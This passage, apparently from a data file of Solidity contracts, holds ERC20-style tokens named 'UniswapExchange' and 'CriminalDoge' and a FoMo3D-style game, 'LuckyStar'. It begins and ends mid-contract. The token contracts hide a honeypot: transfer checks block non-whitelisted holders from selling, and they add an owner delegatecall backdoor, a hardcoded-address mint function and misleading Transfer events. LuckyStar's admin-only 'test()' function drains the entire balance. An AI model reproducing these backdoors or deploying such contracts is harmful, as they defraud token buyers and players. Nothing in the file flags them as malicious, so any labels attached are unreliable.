amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1461045492991056468287016484048686824852249628073)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
492
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract CriminalDoge { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
379
pragma solidity ^0.4.24; contract PlayerBook { using NameFilter for string; using SafeMath for *; address private admin = msg.sender; uint256 public registrationFee_ = 10 finney; uint256 pIdx_=1; uint256 public pID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => LSDatasets.Player) public plyr_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; modifier onlyOwner() { require(msg.sender == admin); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } function getPlayerID(address _addr) public returns (uint256) { determinePID(_addr); return (pIDxAddr_[_addr]); } function getPlayerName(uint256 _pID) public view returns (bytes32) { return (plyr_[_pID].name); } function getPlayerLAff(uint256 _pID) public view returns (uint256) { return (plyr_[_pID].laff); } function getPlayerAddr(uint256 _pID) public view returns (address) { return (plyr_[_pID].addr); } function getNameFee() public view returns (uint256) { return(registrationFee_); } function determinePID(address _addr) private returns (bool) { if (pIDxAddr_[_addr] == 0) { pID_++; pIDxAddr_[_addr] = pID_; plyr_[pID_].addr = _addr; return (true); } else { return (false); } } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != "" && _affCode != _name) { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer); } function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer) private { if (pIDxName_[_name] != 0) require(plyrNames_[_pID][_name] == true, "sorry that names already taken"); plyr_[_pID].name = _name; pIDxName_[_name] = _pID; if (plyrNames_[_pID][_name] == false) { plyrNames_[_pID][_name] = true; } uint256 _paid=msg.value; admin.transfer(_paid); } function setSuper(address _addr,bool isSuper) onlyOwner() public{ uint256 _pID=pIDxAddr_[_addr]; if(_pID!=0){ plyr_[_pID].super=isSuper; }else{ revert(); } } function setRegistrationFee(uint256 _fee) onlyOwner() public{ registrationFee_ = _fee; } } contract LuckyStar is PlayerBook { using SafeMath for *; using NameFilter for string; using LSKeysCalcShort for uint256; address private admin = msg.sender; string constant public name = "LuckyStar"; string constant public symbol = "LuckyStar"; uint256 constant gen_=55; uint256 constant bigPrize_ =30; uint256 public minBuyForPrize_=100 finney; uint256 constant private rndInit_ = 3 hours; uint256 constant private rndInc_ = 1 minutes; uint256 constant private rndMax_ = 6 hours; uint256 constant private prizeTimeInc_= 1 days; uint256 constant private stopTime_=1 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (uint256 => uint256) public plyrOrders_; mapping (uint256 => uint256) public plyrForPrizeOrders_; mapping (uint256 => mapping (uint256 => LSDatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => LSDatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; constructor() public { pIDxAddr_[address(0xc7FcAD2Ad400299a7690d5aa6d7295F9dDB7Fc33)] = 1; plyr_[1].addr = address(0xc7FcAD2Ad400299a7690d5aa6d7295F9dDB7Fc33); plyr_[1].name = "sumpunk"; plyr_[1].super=true; pIDxName_["sumpunk"] = 1; plyrNames_[1]["sumpunk"] = true; pIDxAddr_[address(0x2f52362c266c1Df356A2313F79E4bE4E7de281cc)] = 2; plyr_[2].addr = address(0x2f52362c266c1Df356A2313F79E4bE4E7de281cc); plyr_[2].name = "xiaokan"; plyr_[2].super=true; pIDxName_["xiaokan"] = 2; plyrNames_[1]["xiaokan"] = true; pIDxAddr_[address(0xA97F850B019871B7a356956f8b43255988d1578a)] = 3; plyr_[3].addr = address(0xA97F850B019871B7a356956f8b43255988d1578a); plyr_[3].name = "Mr Shen"; plyr_[3].super=true; pIDxName_["Mr Shen"] = 3; plyrNames_[3]["Mr Shen"] = true; pID_ = 3; } modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { LSDatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 0, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { LSDatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { LSDatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { LSDatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { LSDatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { LSDatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID,true); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; } else { _eth = withdrawEarnings(_pID,true); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); } } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt ) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt ).sub(_now) ); else return(0); } function getDailyTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].prizeTime) return( (round_[_rID].prizeTime).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(30)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(gen_)) / 100).mul(1e18)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1e18) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( 0, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function test() public { require(msg.sender == admin, "only admin can activate"); admin.transfer(this.balance); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, LSDatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt && _now<round_[_rID].prizeTime && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { if(_now>(round_[_rID].prizeTime-prizeTimeInc_)&& _now<(round_[_rID].prizeTime-prizeTimeInc_+stopTime_)){ plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); }else{ core(_rID, _pID, msg.value, _affID, _team, _eventData_); } } else { if ((_now > round_[_rID].end||_now>round_[_rID].prizeTime) && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, LSDatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt && _now<round_[_rID].prizeTime && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { if(_now>(round_[_rID].prizeTime-prizeTimeInc_)&& _now<(round_[_rID].prizeTime-prizeTimeInc_+stopTime_)){ revert(); } plyr_[_pID].gen = withdrawEarnings(_pID,false).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if ((_now > round_[_rID].end||_now>round_[_rID].prizeTime) && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, LSDatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 1e20 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1e18) { uint256 _availableLimit = (1e18).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1e9) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1e18) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 1e17) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 1e19) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1e18 && _eth < 1e19) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 1e17 && _eth < 1e18) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].plyrCtr++; plyrOrders_[round_[_rID].plyrCtr] = _pID; if(_eth>minBuyForPrize_){ round_[_rID].plyrForPrizeCtr++; plyrForPrizeOrders_[round_[_rID].plyrForPrizeCtr]=_pID; } round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); checkDoubledProfit(_pID, _rID); checkDoubledProfit(_affID, _rID); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function determinePID(LSDatasets.EventReturns memory _eventData_) private returns (LSDatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = getPlayerID(msg.sender); bytes32 _name = getPlayerName(_pID); uint256 _laff = getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function managePlayer(uint256 _pID, LSDatasets.EventReturns memory _eventData_) private returns (LSDatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(LSDatasets.EventReturns memory _eventData_) private returns (LSDatasets.EventReturns) { uint256 _rID = rID_; uint _prizeTime=round_[rID_].prizeTime; uint256 _winPID = round_[_rID].plyr; uint256 _pot = round_[_rID].pot; uint256 _com = (_pot / 20); uint256 _res = _pot.sub(_com); uint256 _winLeftP; if(now>_prizeTime){ _winLeftP=pay10WinnersDaily(_pot); }else{ _winLeftP=pay10Winners(_pot); } _res=_res.sub(_pot.mul((74).sub(_winLeftP)).div(100)); admin.transfer(_com); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.newPot = _res; if(now>_prizeTime){ _prizeTime=nextPrizeTime(); } rID_++; _rID++; round_[_rID].prizeTime=_prizeTime; round_[_rID].strt = now; round_[_rID].end 